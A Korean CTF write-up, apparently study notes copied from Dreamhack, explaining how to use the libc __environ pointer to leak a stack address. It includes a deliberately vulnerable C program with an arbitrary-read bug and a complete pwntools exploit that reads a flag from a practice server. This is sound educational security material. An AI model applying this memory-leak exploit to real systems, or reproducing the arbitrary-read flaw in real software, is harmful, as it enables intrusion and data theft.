환경변수란? - 드림핵 베끼기
- 매번 변할 수 있는 동적인 값들의 모임으로, 시스템의 정보를 갖고 있는 변수이다.
이는 사용자가 직접 추가 및 수정하거나 삭제할 수 있는 값이다.
- 기본적으로 리눅스 바이너리는 스택 주소를 포함하지 않기 때문에 상황에 따라 스택 주소를 전역 변수에 저장하는 코드가 있지 않는 한 바이너리 주소 내에서 스택 주소를 찾는 것은 불가능하다. 환경변수에 대한 정보는 스택 영역에 존재하며, 라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 별도로 선언되어 있다.
- 따라서 해당 라이브러리 주소를 알고 있고, 임의 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 알아낼 수 있다.
위는 워게임 문제에서 제공받은 libc.so.6 파일에서 environ
심볼을 찾은 결과이다.
code 분석
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
- stdout의 주소를 받으면서 라이브러리 베이스 주소를 구할 수 있다.
read_file
함수에서 file_buf
에 플래그 값을 저장해놓는다.
- 그리고
main
에서 원하는 주소의 값을 읽을 수 있다.
checksec
exploit 설계
1. __environ 주소 계산
stdout
을 통해 라이브러리 베이스 주소를 계산하고, __environ
포인터의 주소를 알아낸다.
2. 스택 주소 계산
__environ
주소를 알아냈다면, 예제의 임의 주소 읽기 취약점을 통해 스택 주소를 알아내고, "./flag" 파일의 내용이 저장된 스택 버퍼의 주소를 계산한다.
- 해당 주소는 환경 변수와 상대적인 거리가 매번 같으므로, 디버깅을 통해 주소의 간격을 알아낸다.
3. 파일 내용 읽기
- 파일의 내용을 저장하고 있는 스택 버퍼 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 버퍼를 출력하여 파일의 내용을 획득한다.
1. __environ
주소 계산
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols['_IO_2_1_stdout_']
environ = lb + libc.symbols['__environ']
2. 스택 주소 계산
flag
값이 저장된 스택 버퍼와 __environ
변수가 가리키는 스택 주소의 거리 간격은 디버깅을 통해 알아낼 수 있다.
- gdb로
read_file
함수를 disassemble해서 file에서 flag를 읽어오는 부분에 중단점을 건다.
rcx
가 flag 값을 담을 스택의 주소이다.
- 중단점을 걸고 run을 한 뒤
__environ
과 $rcx
의 거리를 구하면 0x1568
임을 알 수 있다.
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568
3. 파일 내용 읽기
- 위에서 flag가 담겨있는 스택의 버퍼 주소를 찾았으므로, 해당 주소 값을 프린트한다.
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(flag_buf).encode())
flag = p.recvline()
exploit
from pwn import *
p = remote('host3.dreamhack.games', 10323)
e = ELF('./environ')
libc = ELF('./libc.so.6')
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols['_IO_2_1_stdout_']
environ = lb + libc.symbols['__environ']
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(flag_buf).encode())
flag = p.recvline()
print('flag: ' + str(flag))
p.interactive()